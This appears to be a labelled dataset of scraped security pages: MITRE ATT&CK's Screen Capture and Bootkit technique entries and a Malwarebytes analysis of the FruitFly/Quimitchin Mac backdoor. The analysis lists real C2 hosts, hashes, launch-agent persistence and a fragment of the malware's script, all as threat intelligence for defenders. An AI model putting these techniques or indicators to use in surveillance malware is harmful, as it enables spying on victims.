Exfiltration Over Command and Control Channel Exfiltration Over Other Network Medium Exfiltration Over Physical Medium Scheduled Transfer Impact Data Destruction Data Encrypted for Impact Defacement Disk Content Wipe Disk Structure Wipe Endpoint Denial of Service Firmware Corruption Inhibit System Recovery Network Denial of Service Resource Hijacking Runtime Data Manipulation Service Stop Stored Data Manipulation Transmitted Data Manipulation Home Techniques Enterprise Screen Capture Screen Capture Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Mac On OSX, the native command screencapture is used to capture screenshots. Linux On Linux, there is the native command xwd. [1] ID:\xc2 T1113 Tactic: Collection Platform:\xc2 Linux, macOS, Windows Data Sources:\xc2 API monitoring, Process monitoring, File monitoring Version:\xc2 1.0 Mitigations This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features. Examples Name Description Agent Tesla Agent Tesla can capture screenshots of the victim\xe2\x80\x99s desktop. [63] [64] [65] [66] APT28 APT28 has used tools to take screenshots from victims. [93] [49] Azorult Azorult can capture screenshots of the victim\xe2\x80\x99s machines. [78] BADNEWS BADNEWS has a command to take a screenshot and send it to the C2 server. [34] [35] BadPatch BadPatch captures screenshots in .jpg format and then exfiltrates them. [69] Bandook Bandook is capable of taking an image of and uploading the current desktop. [12] BISCUIT BISCUIT has a command to periodically take screenshots of the system. [76] BlackEnergy BlackEnergy is capable of taking screenshots. [11] BRONZE BUTLER BRONZE BUTLER has used a tool to capture screenshots. [27] Cannon Cannon can take a screenshot of the desktop. [23] Carbanak Carbanak performs desktop video recording and captures screenshots of the desktop and sends it to the C2 server. [50] Cardinal RAT Cardinal RAT can capture screenshots. [77] Catchamas Catchamas captures screenshots based on specific keywords in the window\xe2\x80\x99s title. [75] CHOPSTICK CHOPSTICK has the capability to capture screenshots. [49] Cobalt Strike Cobalt Strike's ""beacon"" payload is capable of capturing screen shots. [2] Cobian RAT Cobian RAT has a feature to perform screen capture. [52] CosmicDuke CosmicDuke takes periodic screenshots and exfiltrates them. [18] Crimson Crimson contains a command to perform screen captures. [43] CrossRAT CrossRAT is capable of taking screen captures. [12] Dark Caracal Dark Caracal took screen shots using their Windows malware. [12] Daserf Daserf can take screenshots. [26] [27] Derusbi Derusbi is capable of performing screen captures. [10] DOGCALL DOGCALL is capable of capturing screenshots of the victim's machine. [8] [9] Dragonfly 2.0 Dragonfly 2.0 has performed screen captures of victims, including by using a tool, scr.exe (which matched the hash of ScreenUtil). [96] [97] Empire Empire is capable of capturing screenshots on Windows and macOS systems. [7] EvilGrab EvilGrab has the capability to capture screenshots. [73] FIN7 FIN7 captured screenshots and desktop video recordings. [98] FinFisher FinFisher takes a screenshot of the screen and displays it on top of all other windows for few seconds in an apparent attempt to hide some messages showed by the system during the setup process. [28] [29] Flame Flame can take regular screenshots when certain applications are open that are sent to the command and control server. [72] FruitFly FruitFly takes screenshots of the user's desktop. [37] gh0st RAT gh0st RAT can capture the victim\xe2\x80\x99s screen remotely. [48] Group5 Malware used by Group5 is capable of watching the victim's screen. [94] HALFBAKED HALFBAKED can obtain screenshots from the victim. [40] Hydraq Hydraq includes a component based on the code of VNC that can stream a live feed of the desktop of an infected host. [71] HyperBro HyperBro has the ability to take screenshots. [91] InvisiMole InvisiMole can capture screenshots of not only the entire screen, but of each separate window open, in case they are overlapping. [53] Janicab Janicab captured screenshots and sent them out to a C2 server. [57] [58] JHUHUGIT A JHUHUGIT variant takes screenshots by simulating the user pressing the ""Take Screenshot"" key (VK_SCREENSHOT), accessing the screenshot saved in the clipboard, and converting it to a JPG image. [38] [39] jRAT jRAT has the capability to take screenshots of the victim\xe2\x80\x99s machine. [67] [68] Kasidet Kasidet has the ability to initiate keylogging and screen captures. [31] Kazuar Kazuar captures screenshots of the victim\xe2\x80\x99s screen. [36] KeyBoy KeyBoy has a command to perform screen grabbing. [90] KEYMARBLE KEYMARBLE can capture screenshots of the victim\xe2\x80\x99s machine. [30] KONNI KONNI can take screenshots of the victim\xe2\x80\x99s machine. [62] MacSpy MacSpy can capture screenshots of the desktop over multiple monitors. [37] Magic Hound Magic Hound malware can take a screenshot and upload the file to its C2 server. [99] Matroyshka Matroyshka is capable of performing screen captures. [19] [20] Micropsia Micropsia takes screenshots every 90 seconds by calling the Gdi32.BitBlt API. [55] MuddyWater MuddyWater has used malware that can capture screenshots of the victim\xe2\x80\x99s machine. [95] NETWIRE NETWIRE can capture the victim's screen. [74] njRAT njRAT can capture screenshots of the victim\xe2\x80\x99s machines. [87] Octopus Octopus can capture screenshots of the victims\xe2\x80\x99 machine. [60] OilRig OilRig has a tool called CANDYKING to capture a screenshot of user's desktop. [92] PlugX PlugX allows the operator to capture screenshots. [51] POORAIM POORAIM can perform screen capturing. [8] PowerSploit PowerSploit's Get-TimedScreenshot Exfiltration module can take screenshots at regular intervals. [4] [5] POWERSTATS POWERSTATS can retrieve screenshots from compromised hosts. [32] POWRUNER POWRUNER can capture a screenshot from a victim. [41] Prikormka Prikormka contains a module that captures screenshots of the victim's desktop. [70] Proton Proton captures the content of the desktop with the screencapture binary. [37] Pteranodon Pteranodon can capture screenshots at a configurable interval. [33] Pupy Pupy can drop a mouse-logger that will take small screenshots around at each click and then send back to the server. [6] RedLeaves RedLeaves can capture screenshots. [45] [46] Remcos Remcos takes automated screenshots of the infected machine. [3] Remexi Remexi takes screenshots of windows of interest. [84] Revenge RAT Revenge RAT has a plugin for screen capture. [85] RogueRobin RogueRobin has a command named $screenshot that may be responsible for taking screenshots of the victim machine. [47] ROKRAT ROKRAT captures screenshots of the infected system. [15] [16] [17] Rover Rover takes screenshots of the compromised system's desktop and saves them to C:\\system\\screenshot.bmp for exfiltration every 60 minutes. [14] RTM RTM can capture screenshots. [44] SHUTTERSPEED SHUTTERSPEED can capture screenshots. [8] Silence Silence can capture victim screen activity. [100] Socksbot Socksbot can take screenshots. [56] StoneDrill StoneDrill can take screenshots. [86] T9000 T9000 can take screenshots of the desktop and target application windows, saving them to user directories as one byte XOR encrypted .dat files. [42] TinyZBot TinyZBot contains screen capture functionality. [21] Trojan.Karagany Trojan.Karagany can take a desktop screenshot and save the file into \\ProgramData\\Mail\\MailAg\\shot.png. [83] TURNEDUP TURNEDUP is capable of taking screenshots. [13] UPPERCUT UPPERCUT can capture desktop screenshots in the PNG format and send them to the C2 server. [22] Ursnif Ursnif has used hooked APIs to take screenshots. [88] [89] VERMIN VERMIN can perform screen captures of the victim\xe2\x80\x99s machine. [61] XAgentOSX XAgentOSX contains the takeScreenShot (along with startTakeScreenShot and stopTakeScreenShot) functions to take screenshots using the CGGetActiveDisplayList, CGDisplayCreateImage, and NSImage:initWithCGImage methods. [25] yty yty collects screenshots of the victim machine. [59] Zebrocy A variant of Zebrocy captures screenshots of the victim\xe2\x80\x99s machine in JPEG and BMP format. [23] [79] [80] [81] [82] Zeus Panda Zeus Panda can take screenshots of the victim\xe2\x80\x99s machine. [54] ZLib ZLib has the ability to obtain screenshots of the compromised system. [24] Detection Monitoring for screen capture behavior will depend on the method used to obtain data from the operating system and write output files. Detection methods could include collecting information from unusual processes using API calls used to obtain image data, and monitoring for image files written to disk. The sensor data may need to be correlated with other events to identify malicious activity, depending on the legitimacy of this behavior within a given network environment. References Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017. Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017. Klijnsma, Y. (2018, January 23). Espionage Campaign Leverages Spear Phishing, RATs Against Turkish Defense Contractors. Retrieved November 6, 2018. PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018. PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018. Nicolas Verdier. (n.d.). Retrieved January 29, 2018. Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016. FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018. Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018. FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018. Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016. Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018. O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018. Ray, V., Hayashi, K. (2016, February 29). New Malware \xe2\x80\x98Rover\xe2\x80\x99 Targets Indian Ambassador to Afghanistan. Retrieved February 29, 2016. Mercer, W., Rascagneres, P. (2017, April 03). Introducing ROKRAT. Retrieved May 21, 2018. Mercer, W., Rascagneres, P. (2017, November 28). ROKRAT Reloaded. Retrieved May 21, 2018. GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019. F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014. ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017. Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017. Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017. Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018. Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \xe2\x80\x98Cannon\xe2\x80\x99 Trojan. Retrieved November 26, 2018. Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017. Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017. Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\xe2\x80\x99s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017. Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018. FinFisher. (n.d.). Retrieved December 20, 2017. Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\xe2\x80\x99s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018. US-CERT. (2018, August 09). MAR-10135536-17 \xe2\x80\x93 North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018. Yadav, A., et al. (2016, January 29). Malicious Office files dropping Kasidet and Dridex. Retrieved March 24, 2016. Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018. Kasza, A. and Reichel, D.. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017. Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016. Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018. Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018. Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018. Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017. Mercer, W., et al. (2017, October 22). ""Cyber Conflict"" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018. Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017. Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017. Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016. Huss, D.. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016. Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017. FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017. Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018. Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018. Pantazopoulos, N. (2018, April 17). Decoding network data from a Gh0st RAT variant. Retrieved November 2, 2018. Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018. Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018. Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018. Yadav, A., et al. (2017, August 31). Cobian RAT \xe2\x80\x93 A backdoored RAT. Retrieved November 13, 2018. Hromcov\xc3\xa1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018. Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018. Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018. Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018. Brod. (2013, July 15). Signed Mac Malware Using Right-to-Left Override Trick. Retrieved July 17, 2017. Thomas. (2013, July 15). New signed malware called Janicab. Retrieved July 17, 2017. Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018. Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018. Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018. Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018. Brumaghin, E., et al. (2018, October 15). Old dog, new tricks - Analysing new RTF-based campaign distributing Agent Tesla, Loki with PyREbox. Retrieved November 5, 2018. The DigiTrust Group. (2017, January 12). The Rise of Agent Tesla. Retrieved November 5, 2018. Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware Variant. Retrieved November 5, 2018. Zhang, X. (2017, June 28). In-Depth Analysis of A New Variant of .NET Malware AgentTesla. Retrieved November 5, 2018. Sharma, R. (2018, August 15). Revamped jRAT Uses New Anti-Parsing Techniques. Retrieved September 21, 2018. Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019. Bar, T., Conant, S. (2017, October 20). BadPatch. Retrieved November 13, 2018. Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016. Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018. Gostev, A. (2012, May 28). The Flame: Questions and Answers. Retrieved March 1, 2017. PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017. McAfee. (2015, March 2). Netwire RAT Behind Recent Targeted Attacks. Retrieved February 15, 2018. Balanza, M. (2018, April 02). Infostealer.Catchamas. Retrieved July 10, 2018. Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016. Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018. Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018. ESET. (2018, November 20). Sednit: What\xe2\x80\x99s going on with Zebrocy?. Retrieved February 12, 2019. Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group\xe2\x80\x99s Global Campaign. Retrieved April 19, 2019. ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019. Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019. Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016. Legezo, D. (2019, January 30). Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities. Retrieved April 17, 2019. Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019. Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019. Pascual, C. (2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. Retrieved June 4, 2019. Caragay, R. (2015, March 26). URSNIF: The Multifaceted Malware. Retrieved June 5, 2019. Sioting, S. (2013, June 15). BKDR_URSNIF.SM. Retrieved June 5, 2019. Parys, B. (2017, February 11). The KeyBoys are back in town. Retrieved June 13, 2019. Falcone, R. and Lancaster, T.. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019. Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017. ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016. Scott-Railton, J., et al. (2016, August 2). Group5: Syria and the Iranian Connection. Retrieved September 26, 2016. Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018. US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018. Symantec Security Response. (2017, September 6). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved September 9, 2017. Department of Justice. (2018, August 01). HOW FIN7 ATTACKED AND STOLE DATA. Retrieved August 24, 2018. Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017. GReAT. (2017, November 1). Silence \xe2\x80\x93 a new Trojan attacking financial organizations. Retrieved May 24, 2019. Copyright \xc2\xa9 2015-2019, The MITRE Corporation. MITRE ATT&CK and ATT&CK are trademarks of The MITRE Corporation. Privacy Policy Terms of Use @MITREattack Contact","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"FREE DOWNLOADWe research. You level up. Search Labs SUBSCRIBE New Mac backdoor using antiquated code MAC | THREAT ANALYSIS New Mac backdoor using antiquated code Posted: January 18, 2017 by Thomas Reed The first Mac malware of 2017 was brought to my attention by an IT admin, who spotted some strange outgoing network traffic from a particular Mac. This led to the discovery of a piece of malware unlike anything I\xe2\x80\x99ve seen before, which appears to have actually been in existence, undetected, for some time, and which seems to be targeting biomedical research centers. The malware was extremely simplistic on the surface, consisting of only two files: ~/.client SHA256: ce07d208a2d89b4e0134f5282d9df580960d5c81412965a6d1a0786b27e7f044 ~/Library/LaunchAgents/com.client.client.plist SHA256: 83b712ec6b0b2d093d75c4553c66b95a3d1a1ca43e01c5e47aae49effce31ee3 The launch agent .plist file itself couldn\xe2\x80\x99t have been much simpler, simply keeping the .client running at all times. KeepAlive Label com.client.client ProgramArguments /Users/xxxx/.client RunAtLoad NSUIElement 1 The .client file was where things got really interesting. It took the form of a minified and obfuscated perl script. The perl script, among other things, communicates with the following command and control (C&C) servers: 99.153.29.240 eidk.hopto.org The latter is a domain name managed by the dynamic DNS service no-ip.com. The script also includes some code for taking screen captures via shell commands. Interestingly, it has code to do this both using the Mac \xe2\x80\x9cscreencapture\xe2\x80\x9d command and the Linux \xe2\x80\x9cxwd\xe2\x80\x9d command. It also has code to get the system\xe2\x80\x99s uptime, using the Mac \xe2\x80\x9cuptime\xe2\x80\x9d command or the Linux \xe2\x80\x9ccat /proc/uptime\xe2\x80\x9d command. The most interesting part of the script can the found in the __DATA__ section at the end. Found there are a Mach-O binary, a second perl script and a Java class, which the script extracts, writes to the /tmp/ folder and executes. In the case of the Java class file, it is run with apple.awt.UIElement set to true, which means that it does not show up in the Dock. quimitchin-perl-script The binary itself seems primarily interested in screen captures and webcam access, but interestingly, it uses some truly antique system calls for those purposes, such as: SGGetChannelDeviceList SGSetChannelDevice SGSetChannelDeviceInput SGInitialize SGSetDataRef SGNewChannel QTNewGWorld SGSetGWorld SGSetChannelBounds SGSetChannelUsage SGSetDataProc SGStartRecord SGGetChannelSampleDescription These are some truly ancient functions, as far as the tech world is concerned, dating back to pre-OS X days. In addition, the binary also includes the open source libjpeg code, which was last updated in 1998. The Java class appears to be capable of receiving commands to do various tasks, which include yet another method of capturing the screen, getting the screen size and mouse cursor position, changing the mouse position, simulating mouse clicks, and simulating key presses. This component appears to be intended to provide a kind of rudimentary remote control functionality. quimitchin-java-class We also observed the malware downloading a perl script, named \xe2\x80\x9cmacsvc\xe2\x80\x9d, from the C&C server. This script uses mDNS to build a map of all the other devices on the local network, giving information about each device including its IPv6 and IPv4 addresses, name on the network and the port that is in use. It also appears to be making connection attempts to devices it finds on the network. macsvc SHA256: b556c04c768d57af104716386fe4f23b01aa9d707cbc60385895e2b4fc08c9b0 Another file downloaded from the C&C server was named \xe2\x80\x9cafpscan\xe2\x80\x9d, and it seems to try to connect to other devices on the network. afpscan SHA256: bbbf73741078d1e74ab7281189b13f13b50308cf03d3df34bc9f6a90065a4a55 The presence of Linux shell commands in the original script led us to try running this malware on a Linux machine, where we found that \xe2\x80\x93 with the exception of the Mach-O binary \xe2\x80\x93 everything ran just fine. This suggests that there may be a variant of this malware that is expressly designed to run on Linux, perhaps even with a Linux executable in place of the Mach-O executable. However, we have not found such a sample. We were able to locate a couple Windows executable files on VirusTotal that communicate with the same C&C server. In addition, one contains strings that indicate that it uses the same libjpeg library from 1998 as the Mac Mach-O binary. Each of these samples were only ever submitted to VirusTotal once, in June and July of 2013, and are only detected by a few engines under generic names. SHA256: 94cc470c0fdd60570e58682aa7619d665eb710e3407d1f9685b7b00bf26f9647 SHA256: 694b15d69264062e82d43e8ddb4a5efe4435574f8d91e29523c4298894b70c26 There are other indications that this malware has been circulating undetected for a long time. On one of the infected Macs, the launch agent file had a creation date in January of 2015. That\xe2\x80\x99s not strong evidence of the true creation date, though, as those dates can easily be changed. Further, there is a comment in the code in the macsvc file that indicates that a change was made for Yosemite (Mac OS X 10.10), which was released in October of 2014. This suggests that the malware has been around at least some time prior to Yosemite\xe2\x80\x99s release. if(/_(tcp|udp)\\S*\\s+(_\\S+)$/){ $s=""$2._$1""; } elsif(/icloud\\.com\\.\\s+(_[^\\.]+\\._(tcp|udp))\\.\\d+\\.members\\.btmm$/) { $s=$1; } # changed in yosemite elsif(/icloud\\.com\\.\\s+\\.\\s+_autotunnel6$/){ next; } Another clue, of course, is the age of some of the code, which could potentially suggest that this malware goes back decades. However, we shouldn\xe2\x80\x99t take the age of the code as too strong an indication of the age of the malware. This could also signify that the hackers behind it really don\xe2\x80\x99t know the Mac very well and were relying on old documentation. It could also be that they\xe2\x80\x99re using old system calls to avoid triggering any kind of behavioral detections that might be expecting more recent code. Ironically, despite the age and sophistication of this malware, it uses the same old unsophisticated technique for persistence that so many other pieces of Mac malware do: a hidden file and a launch agent. This makes it easy to spot, given any reason to look at the infected machine closely (such as unusual network traffic). It also makes it easy to detect and easy to remove. The only reason I can think of that this malware hasn\xe2\x80\x99t been spotted before now is that it is being used in very tightly targeted attacks, limiting its exposure. There have been a number of stories over the past few years about Chinese and Russian hackers targeting and stealing US and European scientific research. Although there is no evidence at this point linking this malware to a specific group, the fact that it\xe2\x80\x99s been seen specifically at biomedical research institutions certainly seems like it could be the result of exactly that kind of espionage. Malwarebytes will detect this malware as OSX.Backdoor.Quimitchin. (Why the name? Because the quimitchin were Aztec spies who would infiltrate other tribes. Given the \xe2\x80\x9cancient\xe2\x80\x9d code, we thought the name fitting.) Apple calls this malware Fruitfly and has released an update that will be automatically downloaded behind the scenes to protect against future infections. SHARE THIS ARTICLE COMMENTS RELATED ARTICLES iphone malware MACUnprecedented new iPhone malware discovered August 30, 2019 - Google announced late last night that hacked websites have been used to drop iPhone malware on unsuspecting users over a two-year period. Thomas Reed investigates. CONTINUE READINGNo Comments KNOB AWARENESSBluetooth vulnerability can be exploited in Key Negotiation of Bluetooth (KNOB) attacks August 21, 2019 - Researchers called it KNOB, a clever attack against the firmware of a Bluetooth chip that can allow hackers to successfully hijack paired devices and steal their sensitive data. Are users at risk? CONTINUE READINGNo Comments PRIVACYBackdoors are a security vulnerability August 9, 2019 - Upset by their inability to access potentially vital evidence for criminal investigations, the federal government has, for years, pushed to convince tech companies to build backdoors that will, allegedly, only be used by law enforcement agencies. The problem, cybersecurity researchers say, is that those backdoors can easily be exploited by criminals. CONTINUE READINGNo Comments PRIVACYApple iOS 13 will better protect user privacy, but more could be done June 12, 2019 - Apple\xe2\x80\x99s newest iOS features provide simple, easy-to-use options that can leave users more informed and more in control of their online privacy. But privacy experts agreed: Apple can\xe2\x80\x94and should\xe2\x80\x94go further. CONTINUE READINGNo Comments data privacy PRIVACY | SECURITY WORLDThe top six takeaways for corporate data privacy compliance May 3, 2019 - Here are Labs' top six takeaways from our data privacy and cybersecurity law series on corporate data privacy compliance. From emerging startups to burgeoning enterprises, these rules help not just with legal liability, but also user trust. CONTINUE READINGNo Comments ABOUT THE AUTHOR Thomas Reed Director of Mac & Mobile Had a Mac before it was cool to have Macs. Self-trained Apple security expert. Amateur photographer. Contributors Threat Center Glossary Scams Write for Labs COMPANY About Us Careers Partners News & Press Wallpapers My Account HELP Support Forums Release history Lifecycle policy User Guides Resources BUY For Home For Business For Mobile For Technicians Promotions Student Discount LEARN Antivirus Malware Ransomware Adware Spyware View all HEADQUARTERS Malwarebytes 3979 Freedom Circle, 12th Floor Santa Clara, CA 95054 FOLLOW US EULA Privacy Terms of Service \xc2\xa9 2019 Malwarebytes Language English","0","0","0","1","0","0","1","0","0","1","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Bootkit - Enterprise | MITRE ATT&CK\xe2\x84\xa2 Matrices Tactics PRE-ATT&CK Enterprise Mobile Techniques PRE-ATT&CK Enterprise Mobile Mitigations Enterprise Mobile Groups Software Resources General Information Getting Started ATT&CKcon Working with ATT&CK FAQ Updates Previous Versions Related Projects Blog\xc2 Contribute Register to stream ATT&CKcon 2.0 October 29-30 ENTERPRISE ENTERPRISE MOBILE PRE-ATT&CK TECHNIQUES All Initial Access Drive-by Compromise Exploit Public-Facing Application External Remote Services Hardware Additions Replication Through Removable Media Spearphishing Attachment Spearphishing Link Spearphishing via Service Supply Chain Compromise Trusted Relationship Valid Accounts Execution AppleScript CMSTP Command-Line Interface Compiled HTML File Control Panel Items Dynamic Data Exchange Execution through API Execution through Module Load Exploitation for Client Execution Graphical User Interface InstallUtil Launchctl Local Job Scheduling LSASS Driver Mshta PowerShell Regsvcs/Regasm Regsvr32 Rundll32 Scheduled Task Scripting Service Execution Signed Binary Proxy Execution Signed Script Proxy Execution Source Space after Filename Third-party Software Trap Trusted Developer Utilities User Execution Windows Management Instrumentation Windows Remote Management XSL Script Processing Persistence .bash_profile and .bashrc Accessibility Features Account Manipulation AppCert DLLs AppInit DLLs Application Shimming Authentication Package BITS Jobs Bootkit Browser Extensions Change Default File Association Component Firmware Component Object Model Hijacking Create Account DLL Search Order Hijacking Dylib Hijacking External Remote Services File System Permissions Weakness Hidden Files and Directories Hooking Hypervisor Image File Execution Options Injection Kernel Modules and Extensions Launch Agent Launch Daemon Launchctl LC_LOAD_DYLIB Addition Local Job Scheduling Login Item Logon Scripts LSASS Driver Modify Existing Service Netsh Helper DLL New Service Office Application Startup Path Interception Plist Modification Port Knocking Port Monitors Rc.common Re-opened Applications Redundant Access Registry Run Keys / Startup Folder Scheduled Task Screensaver Security Support Provider Service Registry Permissions Weakness Setuid and Setgid Shortcut Modification SIP and Trust Provider Hijacking Startup Items System Firmware Systemd Service Time Providers Trap Valid Accounts Web Shell Windows Management Instrumentation Event Subscription Winlogon Helper DLL Privilege Escalation Access Token Manipulation Accessibility Features AppCert 